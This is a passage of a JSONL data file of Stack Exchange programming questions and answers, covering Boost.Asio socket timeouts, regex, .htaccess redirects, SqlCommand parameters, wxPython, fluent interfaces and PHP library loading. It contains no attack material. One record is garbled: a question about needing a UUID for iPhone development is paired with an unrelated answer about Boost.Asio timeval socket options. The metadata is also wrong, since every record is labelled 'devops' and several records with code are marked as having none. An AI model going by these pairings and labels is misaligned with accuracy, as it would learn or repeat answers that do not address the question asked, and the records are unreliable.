}\n\n  ::timeval value_;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.940514"}
{"id": "hf_8d75f5ba177a", "question": "<p>Do I need a UUID to program for the iPhone? I was told I need this, how can I get a UUID</p>\n", "question_body": "", "answer": "It doesn't appear to be built into Boost.Asio (as of current Boost SVN), but, if you're willing to write your own classes to simulate the\n```\nboost::asio::detail::socket_option\n```\nones, you can always follow the examples in\n```\nboost/asio/socket_base.hpp\n```\nand do the following:\n```\n```\ntypedef boost::asio::detail::socket_option::timeval<SOL_SOCKET, SO_SNDTIMEO>\n    send_timeout;\ntypedef boost::asio::detail::socket_option::timeval<SOL_SOCKET, SO_RCVTIMEO>\n    receive_timeout;\n```\n```\n(Obviously, I'm not suggesting you inject the\n```\ntimeval\n```\nclass into the\n```\nboost::asio::detail::socket_option\n```\nnamespace, but I can't think of a good one to use at the moment. :-P)\nEdit: My sample implementation of\n```\nsocket_option::timeval\n```\n, based on\n```\nsocket_option::integer\n```\n:\n```\n```\n// Helper template for implementing timeval options.\ntemplate <int Level, int Name>\nclass timeval\n{\npublic:\n  // Default constructor.\n  timeval()\n    : value_(zero_timeval())\n  {\n  }\n\n  // Construct with a specific option value.\n  explicit timeval(::timeval v)\n    : value_(v)\n  {\n  }\n\n  // Set the value of the timeval option.\n  timeval& operator=(::timeval v)\n  {\n    value_ = v;\n    return *this;\n  }\n\n  // Get the current value of the timeval option.\n  ::timeval value() const\n  {\n    return value_;\n  }\n\n  // Get the level of the socket option.\n  template <typename Protocol>\n  int level(const Protocol&) const\n  {\n    return Level;\n  }\n\n  // Get the name of the socket option.\n  template <typename Protocol>\n  int name(const Protocol&) const\n  {\n    return Name;\n  }\n\n  // Get the address of the timeval data.\n  template <typename Protocol>\n  ::timeval* data(const Protocol&)\n  {\n    return &value_;\n  }\n\n  // Get the address of the timeval data.\n  template <typename Protocol>\n  const ::timeval* data(const Protocol&) const\n  {\n    return &value_;\n  }\n\n  // Get the size of the timeval data.\n  template <typename Protocol>\n  std::size_t size(const Protocol&) const\n  {\n    return sizeof(value_);\n  }\n\n  // Set the size of the timeval data.\n  template <typename Protocol>\n  void resize(const Protocol&, std::size_t s)\n  {\n    if (s != sizeof(value_))\n      throw std::length_error(\"timeval socket option resize\");\n  }\n\nprivate:\n  static ::timeval zero_timeval()\n  {\n    ::timeval result = {};\n    return result;\n  }\n\n  ::timeval value_;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.965675"}
{"id": "hf_86949949dc87", "question": "<p>I need an algorithm to determine if a sentence, paragraph or article is negative or positive in tone... or better yet, how negative or positive.</p>\n\n<p>For instance:</p>\n\n<blockquote>\n  <blockquote>\n    <p>Jason is the worst SO user I have ever witnessed (-10)</p>\n    \n    <p>Jason is an SO user (0)</p>\n    \n    <p>Jason is the best SO user I have ever seen (+10)</p>\n    \n    <p>Jason is the best at sucking with SO (-10)</p>\n    \n    <p>While, okay at SO, Jason is the worst at doing bad (+10)</p>\n  </blockquote>\n</blockquote>\n\n<p>Not easy, huh? :)</p>\n\n<p>I don't expect somebody to explain this algorithm to me, but I assume there is already much work on something like this in academia somewhere. If you can point me to some articles or research, I would love it.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This falls under the umbrella of\nNatural Language Processing\n, and so reading about that is probably a good place to start.\nIf you don't want to get in to a very complicated problem, you can just create lists of \"positive\" and \"negative\" words (and weight them if you want) and do word counts on sections of text.  Obviously this isn't a \"smart\" solution, but it gets you some information with very little work, where doing serious NLP would be very time consuming.\nOne of your examples would potentially be marked positive when it was in fact negative using this approach (\"Jason is the best at sucking with SO\") unless you happen to weight \"sucking\" more than \"best\"....  But also this is a small text sample, if you're looking at paragraphs or more of text, then weighting becomes more reliable unless you have someone purposefully trying to fool your algorithm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.989648"}
{"id": "hf_e2bec68b37a8", "question": "<p>Many products/services we are interact with (including our own) uses XML-over-HTTP or derivatives (like OMA IMPS IM/presence protocol).</p>\n\n<p>I am looking for some tool that will \"listen\" to a traffic and produce client/server stubs for simulation/testing.</p>\n\n<p>Thanks. </p>\n", "question_body": "", "answer": "That sounds like a good idea for a project.\nThis is not a solution, but your first step should be to at least support know webservice descriptors.\nTo do that should sniff the traffic using wireshark or something similar and see the URL's that are being accessed.  If you are lucky these services would be webservices with a retrievable descriptor or schema for the interface.  Check for .xsd, .wsdl, .asmx\nHere are some examples:\nhttp://www.webservicex.net/CurrencyConvertor.asmx\nhttp://www.weather.gov/forecasts/xml/DWMLgen/wsdl/ndfdXML.wsdl\nhttp://www.weather.gov/forecasts/xml/DWMLgen/schema/DWML.xsd\nThere are Microsoft tools available that come packaged with the SDL that can provide stubs for these.\nI don't know of any drop in solution for you but my approach to solving this problem would be:\n- use wireshark to record http conversations for specific webservices.\n- parse (or look at) these files to extract the URLs that are invoked and track the message passing + xml documents.\n- Create stubs based on what appear to be the parameters.\n- Start by creating some simple pattern matchers and transforms (xml + xsl can = code or some page for debug).\nYou may also need to consider\n- communication may not be 2 way xml- it could be HTTP posts with query string one way and xml responses back.\n- The XML documents may not be properly formatted XML- test parse each message before trying to generate anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.071243"}
{"id": "hf_293f872d0ac6", "question": "<p>Is there any persistence solution for Common Lisp, such as Elephant, that allows function persistence? Currently my app stores an identifier on the db and later searches in a function table which it is, but this method does not allow dynamically created functions to be stored.</p>\n", "question_body": "", "answer": "Functions are opaque objects, so you won't have much luck storing them in files or something like that.  You can, however, store lists and\ncompile\nthem upon retrieval from the database.\nThis won't help you store closures, of course.  That would entail storing the lexical environment along with the code, neither of which you have (portable) access to.  Code that you compile from stored lists will have to rely entirely on global data or data stored in the database.\nBy the way, note that you can\nfuncall\nsymbols, so you don't need a function table for global functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.095079"}
{"id": "hf_0afcb265afa9", "question": "<p>I think I'm pretty good at using semantic markup on my pages but I still have a handful of classes like this:</p>\n\n<pre><code>/**** Aligns ****/\n.right_align  { text-align: right; }\n.left_align   { text-align: left; }\n.center_align { text-align: center; }\n</code></pre>\n\n<p>Which, technically, is a no-no. But when you just want to position some text in a table, how crazy am I supposed to get with the semantic markup?</p>\n", "question_body": "", "answer": "Semantic markup is an admirable goal, but in the real world, you sometimes have to make compromises. In some cases, the only sensible way to do something is to break semantics and just throw in a\n```\nright_align\n```\n.\nEdit: People seem to be misunderstanding my point in this. You should use semantic markup where possible. However, there are cases where it really is just a stylistic choice and there is nothing inherent to the data that you can use to describe or classify it. This is most typically true with large sections of tabular data, especially if it is dynamically generated.\nI've had cases where clients want to be able to dynamically control what columns appear in data grid. There's no way to know ahead of time what type of data they're going to choose to show. If they want a way to center or right align a dynamically generated column, it's better to have center and right align classes available for them to use than to have them sticking\n```\nstyle\n```\nattributes everywhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.153743"}
{"id": "hf_855fe5d894a1", "question": "<p>I am trying to run a java based tool using a command line syntax as the following: java -cp archive.jar archiveFolder.theMainClassName.Although the class I am searching for, a main class, \"theMainClassName\" is in the archive.jar and in the archiveFolder given at input, I keep getting the error that my class is not seen. Does anybody have any ideas concerning this problem? Thank you in advance</p>\n", "question_body": "", "answer": "Perhaps with\n```\njava -jar archive.jar\n```\n?\nOf course, it supposes the manifest points to the right class...\nYou should give the exact message you got, it might shed more light.\nEDIT:  See\nWorking with Manifest Files: The Basics\nfor information on setting the application entry point (Main class) in your jar manifest file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.213888"}
{"id": "hf_2402fa5773dc", "question": "<p>Let's say I have a line of text like this</p>\n\n<pre><code>Small   0.0..20.0   0.00    1.49    25.71   41.05   12.31   0.00    80.56\n</code></pre>\n\n<p>I want to capture the last six numbers and ignore the <em>Small</em> and the first two groups of numbers.</p>\n\n<p>For this exercise, let's ignore the fact that it might be easier to just do some sort of string-split instead of a regular expression.</p>\n\n<p>I have this regex that works but is kind of horrible looking</p>\n\n<pre><code>^(Small).*?[0-9.]+.*?[0-9.]+.*?([0-9.]+).*?([0-9.]+).*?([0-9.]+).*?([0-9.]+).*?([0-9.]+).*?([0-9.]+)\n</code></pre>\n\n<p>Is there some way to compact that?</p>\n\n<p>For example, is it possible to combine the check for the last 6 numbers into a single statement that still stores the results as 6 separate group matches?</p>\n", "question_body": "", "answer": "If you want to keep each match in a separate backreference, you have no choice but to \"spell it out\" - if you use repetition, you can either catch all six groups \"as one\" or only the last one, depending on where you put the capturing parentheses. So no, it's not possible to compact the regex and still keep all six individual matches.\nA somewhat more efficient (though not beautiful) regex would be:\n```\n```\n^Small\\s+[0-9.]+\\s+[0-9.]+\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\n```\n```\nsince it matches the spaces explicitly. Your regex will result in a lot of backtracking. My regex matches in 28 steps, yours in 106.\nJust as an aside: In Python, you could simply do a\n```\n```\n>>> pieces = \"Small   0.0..20.0   0.00    1.49    25.71   41.05   12.31   0.00    80.56\".split()[-6:]\n>>> print pieces\n['1.49', '25.71', '41.05', '12.31', '0.00', '80.56']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.249347"}
{"id": "hf_7a43d0b368de", "question": "<p>I'm relatively new to .NET programming (and OOP in general) and I want to make sure I'm not developing bad beginner habits when designing my applications.</p>\n\n<p>If you were hiring a new .NET developer and had to get him up to speed relatively quickly, but also wanted to make sure he adopts best practices (e.g., single responsibility principle, unit testing, separation of concerns), what would be your recommended learning path?</p>\n\n<p>I've been listening to the Polymorphic Podcast lately and, while listening to discussion of best practices is helpful, I'm finding a lack of screencasts and code examples aimed at providing an introduction to these best practices.</p>\n", "question_body": "", "answer": "If, as in your hypothetical example, I was hiring a new .NET developer and wanted to make sure they adopted best practices, I would start by making them look through my current code base.\nThen I would recommend they read the following:\nThe Pragmatic Programmer\nCode Complete\nHead First Design Patterns\nRefactoring\nTest-Driven Development by Example\nThat should give anyone a pretty solid foundation in best OOP practices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.273491"}
{"id": "hf_22b49646308a", "question": "<p>I'm attempting to create a Wizard type control in VB6 and have run into a stumbling block.</p>\n\n<p>I'd like to allow users of the control to be able to add and manage CWizardPage(s) to the design time control using a property page.</p>\n\n<p>The first approach I used was to add the Wizard pages to the OCX directly using a Collection, however I ran into two problems in that the Collection class is not persistable (and I couldn't find an easy way to make it so) and that VB6 seems very limited in it's ability to instantiate controls at run time - so it would seem to be a struggle to actually re-instantiate them.</p>\n\n<p>My next thought was to just allow the users to draw the wizard pages at design time. This sort of works, however it's far too easy to draw one of the wizard pages inside another wizard page instead of inside the CWizardContainer.</p>\n\n<p>So can anyone please tell me how to add controls to a form at design time without using drag 'n' drop?</p>\n", "question_body": "", "answer": "You can dynamically add controls to a form or other container (such as a UserControl) using the\n```\nAdd\n```\nmethod of the container's\n```\nControls\n```\ncollection. For example, to add a TextBox named\n```\nmyTextBox\n```\nto a form called frmMyForm, you could do this:\n```\nfrmMyForm.Controls.Add \"VB.TextBox\", \"myTextBox\"\n```\nHere is a snippet from the VB6 help file:\nAdd Method (Controls Collection)\nAdds a control to the\nControls\ncollection and returns a reference to\n  the control.\nSyntax\nobject\n.\nAdd\n(***ProgID, name, container*\n)**\nThe\nAdd\nmethod syntax has these parts:\nobject\n(Required)\nAn object expression that evaluates to\n  an object in the\nApplies To\nlist.\nProgID\n(Required)\nA string that\n  identifies the control. The ProgID of\n  most controls can be determined by\n  viewing the Object Browser. The ProgID\n  is composed of the Library and Class\n  of the control. For example, the\n  CommandButton control's ProgID is\n  VB.CommandButton. In cases where the\n  ProgID differs from that shown in the\n  Object Browser, Visual Basic displays\n  an error message that contains the\n  correct ProgId.\nname\n(Required)\nA string that identifies the member of\n  the collection.\ncontainer\n(Optional)\nAn object reference that specifies a\n  container of the control. If not\n  specified or NULL, defaults to the\n  container to which the Controls\n  collection belongs. You can put a\n  control in any existing container\n  control (such as the Frame control) by\n  specifying this argument. A user\n  control or an ActiveX document can\n  also be a container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.297758"}
{"id": "hf_ee1a90597a93", "question": "<p>Suppose I have an interval (a,b), and a number of subintervals {(a<sub>i</sub>,b<sub>i</sub>)}<sub>i</sub> whose union is all of (a,b).  Is there an efficient way to choose a minimal-cardinality subset of these subintervals which still covers (a,b)?</p>\n", "question_body": "", "answer": "Sounds like dynamic programming.\nHere's an illustration of the algorithm (assume intervals are in a list sorted by ending time):\n```\n```\n//works backwards from the end\nint minCard(int current, int must_end_after)\n{\n    if (current < 0)\n        if (must_end_after == 0)\n            return 0; //no more intervals needed\n        else\n            return infinity; //doesn't cover (a,b)\n        \n    if (intervals[current].end < must_end_after)\n        return infinity; //doesn't cover (a,b)\n   \n    return min( 1 + minCard(current - 1, intervals[current].start),\n                    minCard(current - 1, must_end_after) );\n    //include current interval or not?\n}\n```\n```\nBut it should also involve caching (memoisation).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.335018"}
{"id": "hf_81573a8f6332", "question": "<p>I need to build full-text search functionality into our knowledge base system using C#. How do I start?  </p>\n", "question_body": "", "answer": "For example from Lucene:\nhttp://lucene.apache.org/java/docs/\nC# port is here\nhttp://incubator.apache.org/lucene.net/\nYou should also read something about the the information retrieval, and you can start with this one :\nhttp://www.amazon.com/Modern-Information-Retrieval-Ricardo-Baeza-Yates/dp/020139829X", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.359082"}
{"id": "hf_b8b2800536ba", "question": "<p>I have a custom WinForms control (inherits from control, i.e. without user interface jsut as Timer) to which I want to add a custom command add design time. </p>\n\n<p>This could be similar to the \"right click and choose 'Edit Items...'\" of a menu.</p>\n\n<p>Is this posisble? How?</p>\n\n<p>Also, could you recommend some general reading (online) about improving the design time experience of custom controls? </p>\n", "question_body": "", "answer": "First here is a link to the relevant MSDN doco on the subject\nhttp://msdn.microsoft.com/en-us/library/ms171567(VS.80).aspx\nand more specifically\nhttp://msdn.microsoft.com/en-us/library/system.componentmodel.design.menucommand(VS.80).aspx\nAs for a book that covers this,\nChris Sells Winforms book\nis probably the best, however to be honest, I don't think that any of the books out there (on-line or otherwise) cover design time features in the sort of depth that I personally would like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.386931"}
{"id": "hf_e7613a54f9e4", "question": "<p>I've read a lot about the pros and cons of sizing with either relative or absolute font sizes. Fixed sizes don't zoom in IE6 but that's not much of an issue these days. Accessibility is important, but I assume that all good accessibility software is built to deal with these issues?</p>\n\n<p>I guess it mainly comes down to whether you want to be able to change all font sizes with one rule (i.e. the default font size you set) or whether you want to be able to change a font size somewhere without affecting nested elements (this is the thing that frustrates me most!).</p>\n\n<p>Anyone have any tips?</p>\n", "question_body": "", "answer": "The only big reason valid is that a lot of people is still using IE6. Just this.\nProbably could be a good thing, at the end of 2008, to give no more attention at IE6. But is difficult to ignore IE6. I work as web designer/devolper for a big company in Italy, and many of ours employes  or clients, in their work computers, are browsing the internet with IE6 right now.\nWhy? They don't have administrator rights and can't install anithing in their machines, and the system admistrators are always too busy to upgrade the computers of every office. May be this people will upgrade to IE7 (something like  Firefox is a dream) when their hard disks will need to be changed.\nIs possible that this sort of things happens only in Italy. But I would not bet on this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.511704"}
{"id": "hf_2afaa5fc0d81", "question": "<p>The \"core\" .NET languages are integrated into VS2008 - C#, VB.NET, and C++. I'm not sure about current support for J# and JScript.</p>\n\n<p>But there are a number of other .NET languages out there - A#, Boo, Oxygene, F#, IronLisp/IronScheme, IronPython, IronRuby, Nemerle, Phalanger, P#, PowerShell, and <a href=\"http://en.wikipedia.org/wiki/Microsoft_.NET_Languages\" rel=\"nofollow noreferrer\">more</a>. Of these, I have only found VS support for F# (which is made by Microsoft, so no surprise there), Oxygene, A# (but only VS2005 support), and IronPython (only with external projects designed for this purpose).</p>\n\n<p>But what about the other languages? Since they target the .NET runtime, I figure that it only makes sense that there would be a way to use those languages inside VS. Is there some limitation(s) of Visual Studio that prevent this? Is there a way to \"force\" VS to compile these languages?</p>\n", "question_body": "", "answer": "I suspect it's pretty simple: IDE integration is no simple task, if you want to do it well. I would guess that most of these languages are done in spare time rather than having commercial funding. The amount of effort required is just prohibitively expensive - and not necessarily due to Visual Studio making things particularly hard, but due to it fundamentally being a difficult thing to achieve well.\nThat's not to say it can't be done, of course - just that it's hard, and \"hobby\" projects aren't likely to get that level of commitment unless they're really popular.\nFor Boo, by the way, you should look at\nBooLangStudio\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.559486"}
{"id": "hf_d39123d9ecb7", "question": "<p>Basically I'm about to start work on a site and I'd like something that I can add into my .htaccess file (or elsewhere) that'll work like this pseudo code: (my ip will be in place of 127.0.0.1)</p>\n\n<pre><code>if (visitors_ip &lt;&gt; 127.0.0.1)\n    redirectmatch ^(.*)$ http://www.example.com/under-construction.html\n</code></pre>\n\n<p>Hopefully that makes sense...</p>\n", "question_body": "", "answer": "That would be\nsomething like\n:\n```\n```\nRewriteEngine On\nRewriteBase /\nRewriteCond %{REMOTE_ADDR} !^127\\.0\\.0\\.1\n\nRewriteCond %{REQUEST_URI} !/mypage\\.html$  \n\nRewriteRule .* http://www.anothersite.com/mypage.html [R=302,L]\n```\n```\nAs\nAndrew\npoints out, the %{REQUEST_URI} condition avoids infinite loop if you redirect to the same domain.\nAs\nXorax\ncomments\nalmost 9 years later\n:\nYou should not use\n```\nREMOTE_HOST\n```\n, it will fail in many case. You should use\n```\nREMOTE_ADDR\n```\n.\nCf \"\ndifference between\n```\nREMOTE_HOST\n```\nand\n```\nREMOTE_ADDR\n```\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.618903"}
{"id": "hf_3dd2ca0368da", "question": "<p>I have a Rails app with some basic models. The website displays data retrieved from other sources. So I need to write a Ruby script that creates new instances in my database. I know I can do that with the test hooks, but I'm not sure that makes sense here.</p>\n\n<p>I'm not sure what this task should look like, how I can invoke it, or where it should go in my source tree (lib\\tasks?).</p>\n\n<p>For example, here's my first try:</p>\n\n<pre><code>require 'active_record'\nrequire '../app/models/mymodel.rb'\n\ntest = MyModel.new\ntest.name = 'test'\ntest.save\n</code></pre>\n\n<p>This fails because it can't get a connection to the database. This makes sense in a vague way to my newbie brain, since presumably Rails is doing all the magic work behind the scenes to set all that stuff up. So how do I set up my little script?</p>\n", "question_body": "", "answer": "You can open a connection in your scripts as such:\n```\n```\nActiveRecord::Base.establish_connection(\n    :adapter  => \"mysql\",\n    :username => \"root\",\n    :host     => \"localhost\",\n    :password => \"******\",\n    :database => \"******\" \n)\n```\n```\nI'm sure there is a more elegant way to do it, so that it grabs the info from your database.yml.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.666670"}
{"id": "hf_9b1396d3833e", "question": "<p>What's the best method to pass parameters to SQLCommand? You can do:</p>\n\n<pre><code>cmd.Parameters.Add(\"@Name\", SqlDbType.VarChar, 20).Value = \"Bob\";\n</code></pre>\n\n<p>or</p>\n\n<pre><code>cmd.Parameters.Add(\"@Name\", SqlDbType.VarChar).Value = \"Bob\";\n</code></pre>\n\n<p>or</p>\n\n<pre><code>cmd.Parameters.Add(\"@Name\").Value = \"Bob\";\n</code></pre>\n\n<p>It seems like the first one might be somehow \"better\" either performance-wise or error checking-wise. But I would like to know more definitively.</p>\n", "question_body": "", "answer": "You can also use\n```\nAddWithValue()\n```\n, but be aware of the possibility of the wrong implicit type conversion.\n```\n```\ncmd.Parameters.AddWithValue(\"@Name\", \"Bob\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.690309"}
{"id": "hf_e5d3180007fd", "question": "<p>I am making a little GUI frontend for a app at the moment using wxPython.</p>\n\n<p>I am using <code>wx.StaticText()</code> to create a place to hold some text, code below:</p>\n\n<pre><code>content = wx.StaticText(panel, -1, \"Text Here\", style=wx.ALIGN_CENTRE)\n</code></pre>\n\n<p>I have a button when clicked retrieves data from MySQL, I am wanting to change the value of the <code>StaticText()</code> to the MySQL data or what else could I use the hold the data.</p>\n\n<p>I have tried using the below method: </p>\n\n<pre><code>contents = wx.TextCtrl(bkg, style=wx.TE_MULTILINE | wx.HSCROLL)\ncontent.SetValue(\"New Text\")\n</code></pre>\n\n<p>This displays the data fine but after the data is loaded you can edit the data and I do not want this.</p>\n\n<p>Hope you guys understand what I am trying to do, I am new to Python :)</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "```\nwx.TextCtrl\n```\nhas a style called\n```\nwx.TE_READONLY\n```\n. Use that to make it read-only.\nAs a sidenode, you can use the\nC++ wxWidgets Manual\nfor wxPython aswell. Where special handling for wxPython or other ports is required, the manual often points out the difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.725968"}
{"id": "hf_ce590069c5ba", "question": "<p>I have an owner-drawn UserControl where I've implemented double-buffering.  In order to get double-buffering to work without flicker, I have to override the OnPaintBackground event like so:</p>\n\n<pre><code>protected override void OnPaintBackground(PaintEventArgs e)\n{\n    // don't even have to do anything else\n}\n</code></pre>\n\n<p>This works great at runtime.  The problem is that when I have an instance of the control on a form at design time, it becomes a black hole that shows trails of whatever windows are dragged over it (because the override of the OnPaintBackground event also governs design-time appearance).  It's just a cosmetic problem, but it's visually jarring and it always leads new developers on the project to assume something has gone horribly wrong.</p>\n\n<p>Is there any way to have an overridden method like this not be overridden at design time, or is there another solution?</p>\n", "question_body": "", "answer": "```\n```\nif (this.DesignMode)\n{\n    return;    //or call base.OnPaintBackground()\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.761760"}
{"id": "hf_2883e2359429", "question": "<p>Method chaining is the only way I know to build fluent interfaces.</p>\n<p>Here's an example in C#:</p>\n<pre><code>John john = new JohnBuilder()\n    .AddSmartCode(&quot;c#&quot;)\n    .WithfluentInterface(&quot;Please&quot;)\n    .ButHow(&quot;Dunno&quot;);\n\nAssert.IsNotNull(john);\n\n  [Test]\n    public void Should_Assign_Due_Date_With_7DayTermsVia_Invoice_Builder()\n    {\n        DateTime now = DateTime.Now;\n\n        IInvoice invoice = new InvoiceBuilder()\n            .IssuedOn(now)\n            .WithInvoiceNumber(40)\n            .WithPaymentTerms(PaymentTerms.SevenDays)\n            .Generate();\n\n        Assert.IsTrue(invoice.DateDue == now.AddDays(7));\n    }\n</code></pre>\n<p>So how do others create fluent interfaces. How do you create it? What language/platform/technology is needed?</p>\n", "question_body": "", "answer": "Fluent interface is achieved in object oriented programming by always returning from your methods the same interface that contains the method. Consequently you can achieve this effect in java, javascript and your other favorite object oriented languages, regardless of version.\nI have found this technique easiest to accomplish through the use of interfaces:\n```\n```\npublic interface IFoo\n{\n    IFoo SetBar(string s);\n    IFoo DoStuff();\n    IFoo SetColor(Color c);\n}\n```\n```\nIn this way, any concrete class that implements the interface, gets the fluent method chaining capabilities.  FWIW.. I wrote the above code in C# 1.1\nYou will find this technique littered throughout the jQuery API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.797918"}
{"id": "hf_d0210baf54dd", "question": "<pre><code>Open  App.Path &amp; \"\\Folder\\\" &amp; str(0) For Output\n</code></pre>\n\n<p>Seems to get a path not found however if directly before that I do</p>\n\n<pre><code>MsgBox App.Path &amp; \"\\Folder\\\" &amp; str(0)\n</code></pre>\n\n<p>It Provides the correct directory/filename that I want</p>\n\n<p>and if I replace that string with the direct path in quotes it works fine however that won't be very good for other users of my app :(  Anyone know why this doesn't work? </p>\n", "question_body": "", "answer": "You can open a file that doesn't exist. I tried it with:\n```\n```\nOpen \"c:\\temp\\test.txt\" & Str(0) For Output As #1\n  Close #1\n```\n```\nWhen it ran it created c:\\temp\\test.txt 0\nNote that I added \"As #1\" to the Open statement, and taht Str(0) adds a leading space for the optional minus sign (CStr(0) doens't add a leading space)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:31.842625"}
{"id": "hf_87362e1879a3", "question": "<p>On a site where 90% of the pages use the same libraries, should you just load the libraries all the time or only load them when needed? The other pages would be ajax or simple pages that don't have any real functionality.</p>\n\n<p>Also, should you only load the code when needed? If part way down a page you need a library, should you load it then or just load it at the top. Maybe it's possible it may never get there before of an error or wrong data. (Loading at the top makes it somewhat easier to understand, but may result in extra code not needed.)</p>\n\n<p>I'm also wondering if I should make the libraries more specific so I'm not say loading the code to edit at the same time as viewing?</p>\n\n<p>Basically, how much should I worry about loading code or not loading code?</p>\n", "question_body": "", "answer": "I would always try to give a file, class, and method a\nsingle responsibility\n. Because of that, separating the displaying from the editing code could be a good idea in either case.\nAs for loading libraries, I believe that the performance loss of including non required libraries could be quite irrelevant in a lot of cases. However,\n```\ninclude\n```\n,\n```\nrequire\n```\n,\n```\ninclude_once\n```\n, and\n```\nrequire_once\n```\nare relatively slow as they (obviously) access the file system. If the libraries you do not use on each occasion are quite big and usually include a lot of different files themselves, removing unnecessary includes could help reducing the time spent there. Nonetheless, this cost could also be reduced drastically by using an efficient caching system.\nGiven you are on PHP5 and your libraries are nicely split up into classes, you could leverage PHP's\nauto loading functionality\nwhich includes required classes as the PHP script needs them. That would pretty effectively avoid a lot of non used code to be included.\nFinally, if you make any of those changes which could affect your website's performance, run some benchmarks and profile the gain or loss in performance. That way, you do not run into the risk of doing some possibly cool optimization which just costs too much time to fully implement or even degrades performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 